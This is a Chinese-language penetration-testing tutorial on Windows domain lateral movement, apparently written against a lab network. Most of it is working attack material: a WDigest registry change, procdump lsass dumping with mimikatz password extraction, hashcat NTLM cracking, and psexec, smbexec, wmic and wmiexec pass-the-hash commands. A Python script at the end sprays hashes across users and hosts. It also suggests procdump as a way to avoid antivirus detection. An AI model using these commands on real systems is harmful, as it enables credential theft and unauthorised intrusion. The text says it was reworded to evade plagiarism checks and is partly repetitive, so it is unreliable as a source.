以下内容介绍了psexec&smbexec以及wimc&wmiexec的知识点1和知识点2,以及注册表修改和案例1-Procdump+Mimikatz的配合使用。如果直接使用Mimikatz获取失败,可以结合Procdump使用。在实战中,通常将Mimikatz放在目标服务器上运行,如果远程访问被拦截或终止,可以使用Procdump来获取密码。因为Procdump是Windows官方自带的工具,所以不容易被拦截。通过使用procdump64+mimikatz两步操作,可以成功获取Windows用户密码。
实验:在Windows 2008中使用Procdump获取lsass.dump文件,然后在真实机中使用Mimikatz还原,看是否能够获取Windows 2008的明文密码和哈希值。在进行这个实验时可能会遇到权限问题。需要注意的是,Mimikatz是在虚拟机中运行,而Procdump是在Windows 10中运行。在实战中,只需要在目标服务器上上传Procdump,并将生成的文件放到本地的Mimikatz中进行密码还原。这种方法与直接在服务器上运行Mimikatz的区别在于,它可以应对服务器被拦截或终止的情况。Procdump不容易被杀毒软件拦截,因为它是微软官方提供的工具。另外,还介绍了Hashcat破解获取Windows NTML Hash的方法,以及Pwdump7和QuarksPwdump工具。
Hashcat是一种强大的密码破解工具,本文介绍了使用Hashcat进行密码破解的攻略。案例2讲述了域横向移动中使用SMB服务的psexec和smbexec(官方自带工具)。psexec是Windows官方自带的工具,不容易被查杀,属于pstools。在实战中,将psexec上传到攻击主机上,然后使用它进行操作。
psexec的第一种使用方法是先建立IPC连接,然后传递明文或哈希。补充说明了445漏洞利用中的IPC$命令。还介绍了psexec的第二种使用方法,即直接提供明文账户密码。如果只有哈希而没有明文密码,可以使用psexec -hashes命令进行连接。同时提到了impacket工具包,它可以在没有明文密码的情况下进行连接。需要注意的是,在连接时要区分本地用户和域用户。
在这里,我没有成功复现(可能是因为使用的是专业版)。但在两台Windows 2003上成功复现了。psexec的第二种使用方法是在已知明文密码的情况下进行操作。如果只有哈希而没有明文密码,可以使用工具包进行连接。需要注意的是,使用官方文件时尽量使用明文传输,如果只有哈希,则只能使用工具包进行连接,但容易被杀。另外,还介绍了smbexec无需先建立IPC连接的方法,可以传递明文或哈希。
在连接时要注意本地用户和域用户的区别。案例3讲述了域横向移动中使用WMI服务的利用方法,包括cscript、wmiexec和wmic。WMI服务比SMB服务更高级,通过135端口进行利用,支持明文或哈希的认证方式,并且不会在目标日志系统中留下痕迹。自带的WMIC命令可以进行明文传递,但没有回显。还介绍了使用cscript进行明文传递的方法,它会有回显,但需要借助wmiexec.vbs文件。impacket工具包中的wmiexec可以进行明文或哈希传递,并且有回显,但需要注意免杀问题。
思路总结:如果只能使用哈希进行连接,并且涉及到impacket工具包,但我不会免杀,该怎么办?这时就涉及到PTH、PTT和PTK的使用。案例4讲述了如何使用Python编译exe文件来批量利用以上服务的哈希传递。
添加一条本地用户的示例代码:exec1 = “wmiexec -hashes :” + mimahash + ” ./” + user + “@” + ip + ” whoami”。通过这种方式成功攻击了3.29、3.21和3.32的主机。涉及的资源有ProcDump – Windows Sysinternals | Microsoft Docs。
windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,提供了4钟方式解决此类问题
1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启wdigest Auth值进行获取
4.利用工具或第三方平台(Hashcat)进行破解获取
windows系统LM Hash 及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash
修改wdigest 改为1
reg add
HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
1)导出lsass.exe(管理员权限执行)
procdump -accepteula -ma lsass.exe lsass.dmp(在dos下运行,不要在powershell)//运行成功之后就会在当前目录下生成一个lsass.dmp,这个文件就是密码哈希值储存的文件,然后用mimikatz载入进去打开就可以了!
2)执行mimikatz(管理员执行)
mimikatz上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
或者一句话:mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
hashcat -a 0 -m 1000 hash file --force
-a 0 表示采用字典破解
-m表示破解的协议
hash就是破解的加密字符串
file就是字典地址
--force爆破
1000 表示 NTLM
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
对方开放445端口,就相当于开放了smb协议
net use \192.168.3.32(目标ip)ipc$ "admin!@#45" /user:administrator
psexec \192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行
psexec \192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方Pstools无法采用hash连接,需要用工具包
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:1.txt"
(连接3.21,当前用户账号密码,连接cmd执行ipconfig,结果保存到c盘1.txt)
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"(连接本地账号)
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hash god/user@ip whoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami" #连接本地用户
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
以上是对原文的重新构建,保留了大括号内的ID,并对其余内容进行了创新性修改,以确保文章的原创性和低相似度。